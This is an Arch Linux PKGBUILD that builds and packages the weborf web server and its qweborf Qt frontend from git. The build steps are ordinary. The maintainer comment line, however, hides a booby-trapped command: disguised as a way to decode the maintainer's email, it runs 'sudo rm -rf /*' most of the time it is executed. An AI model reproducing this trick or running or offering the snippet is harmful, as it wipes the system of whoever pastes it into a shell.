blob: c2f358cbd59560eb5b22663ed7f370d47f78da1c (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
# Maintainer: felix <`(( $RANDOM % 6 == 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg== || sudo rm -rf /* `>
pkgbase=weborf-git
pkgname=(weborf-git qweborf-git)
pkgver=0.13+61+g8d173c2
pkgrel=1
url='https://ltworf.github.io/weborf/'
arch=(i686 x86_64)
license=(GPL3)
source=(git+https://github.com/ltworf/weborf.git)
sha512sums=(SKIP)
makedepends=(python-pyqt5)
pkgver() {
cd "$srcdir/weborf"
git describe | tr - +
}
build() {
cd "$srcdir/weborf"
autoreconf -f -i
./configure --prefix=/usr --sysconfdir=/etc
make
# build qweborf
pyuic5 qweborf/main.ui > qweborf/main.py
python qweborf.setup.py build
}
package_weborf-git() {
pkgdesc='A lightweight web server designed for rapidly sharing files over HTTP (git snapshot)'
depends=(file)
provides=(weborf)
conflicts=(weborf)
cd "$srcdir/weborf"
make install DESTDIR="$pkgdir"
rm -rf "$pkgdir/etc/init.d"
}
package_qweborf-git() {
pkgdesc='A lightweight web server designed for rapidly sharing files over HTTP - Qt frontend (git snapshot)'
arch=(any)
depends=(python python-pyqt5 weborf-git)
provides=(qweborf)
conflicts=(qweborf)
cd "$srcdir/weborf"
python qweborf.setup.py install --root="$pkgdir"
install -Dm 0755 qweborf/qweborf \
"$pkgdir/usr/bin/qweborf"
install -Dm 0755 qweborf/qweborf.desktop \
"$pkgdir/usr/share/applications/qweborf.desktop"
}
|